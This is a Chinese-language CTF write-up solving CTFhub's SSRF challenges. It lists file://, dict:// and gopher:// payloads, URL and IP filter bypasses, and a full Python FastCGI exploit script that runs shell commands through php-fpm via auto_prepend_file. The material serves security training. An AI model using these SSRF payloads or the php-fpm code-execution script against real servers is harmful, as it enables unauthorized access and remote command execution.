CTFhub--SSRF
作者：互联网
~目录~
开始
redis真不会…，求会的师傅评论区教教我
内网访问
提示：尝试访问位于127.0.0.1的flag.php吧
直接url=127.0.0.1/flag.php
伪协议读取文件
提示：尝试去读取一下Web目录下的flag.php吧
URL的伪协议有以下几种：
file:///
dict://
sftp://
ldap://
tftp://
gopher://
读取web目录下的flag.php，利用file:///
url=file:///var/www/html/flag.php
源码中发现flag
端口扫描
提示：来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦
bp爆破，使用dict://探测开放的端口
url=dict://127.0.0.1:§1234§
发现端口8710
访问得到flag
POST请求
提示：这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年
先内网访问flag.php，源码中发现key值
通过file协议访问index.php，查看源码
访问flag.php文件
其实没有302.php文件，以前是有的
我们知道index.php能够接受url传参（从127.0.0.1进行访问），那么我们可以利用gopher协议往index.php中传入一个POST请求包。请求包的内容包含flag.php中的key
构造的POST请求：
gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36 #特别注意此处的长度，长度不对也是不行的。
Content-Type: application/x-www-form-urlencoded
key=70ae69cdd70050f12e4af483771af45f #key就是我们从127.0.0.1访问flag.php获取的值，这里也就是flag的MD5值。
然后需要url编码三次，抓包后修改数据
这题非常非常坑，感谢大佬的wp
上传文件
提示：这次需要上传一个文件到flag.php了.祝你好运
内网访问flag.php，发现是个文件上传，但是只有浏览框，没有提交框，前端修改一下
随便上传一个文件抓包
然后对整个数据包进行三次url编码，注意Host要修改为127.0.0.1:80
然后关键的地方来了（其实是我sb的地方，耗费了我n久时间），再对页面http://challenge-d492051dce42857d.sandbox.ctfhub.com:10080/?url=_抓一次包，写入刚才的编码，前缀为GET/?url=http://127.0.0.1/index.php?url=
如果一直出不来，建议多试几次，注意细节
FastCGI协议
提示：这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助
首先，在kali中执行nc -lvp 9000 > 12.txt，监听9000端口，把监听内容存到12.txt
然后另开一个窗口，执行python exp.py -c "<?php var_dump(shell_exec('ls /'));?>" -p 9000 127.0.0.1 /usr/local/lib/php/PEAR.php，这时12.txt已经有了数据
exp.py文件：
# exp.py
import socket
import random
import argparse
import sys
from io import BytesIO
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
使用hexdump 12.txt命令查看数据的16进制
然后用16进制编辑器打开，只复制16进制内容，用如下脚本编码：
a='''
这里存放16进制内容
'''
a=a.replace('\n','')
a=a.replace(' ','')
b=''
length=len(a)
for i in range(0,length,2):
b+='%'
b+=a[i]
b+=a[i+1]
print(b)
当然我们还需要再进行一次url编码
前缀+gopher://127.0.0.1:9000/_+编码，执行ls，发现flag_e2a66675487ff732d4b235fc257cbc56文件
于是我们再进行一次上述操作，执行cat命令，通过脚本编码一次，再编码一次
python exp.py -c "<?php var_dump(shell_exec('cat flag_e2a66675487ff732d4b235fc257cbc56'));?>" -p 9000 127.0.0.1 /usr/local/lib/php/PEAR.php
成功获得flag
Redis协议
提示：这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!
URL Bypass
提示：请求的URL中必须包含http://notfound.ctfhub.com，来尝试利用URL的一些特殊地方绕过这个限制吧
构造?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
数字IP Bypass
提示：这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢
把127转为十六进制0x7f，或者直接localhost
302跳转 Bypass
提示：SSRF中有个很重要的一点是请求可能会跟随302跳转，尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧
localhost即可
或者这样
DNS重绑定 Bypass
提示：关键词：DNS重绑定。剩下的自己来吧，也许附件中的链接能有些帮助
有一个测试DNS重绑定漏洞的网站,可以让一个域名绑定两个IP
经过一次测试就出了flag
标签：__,bchr,SSRF,FCGI,CTFhub,self,--,flag,php 来源： https://blog.csdn.net/qq_46874275/article/details/116667990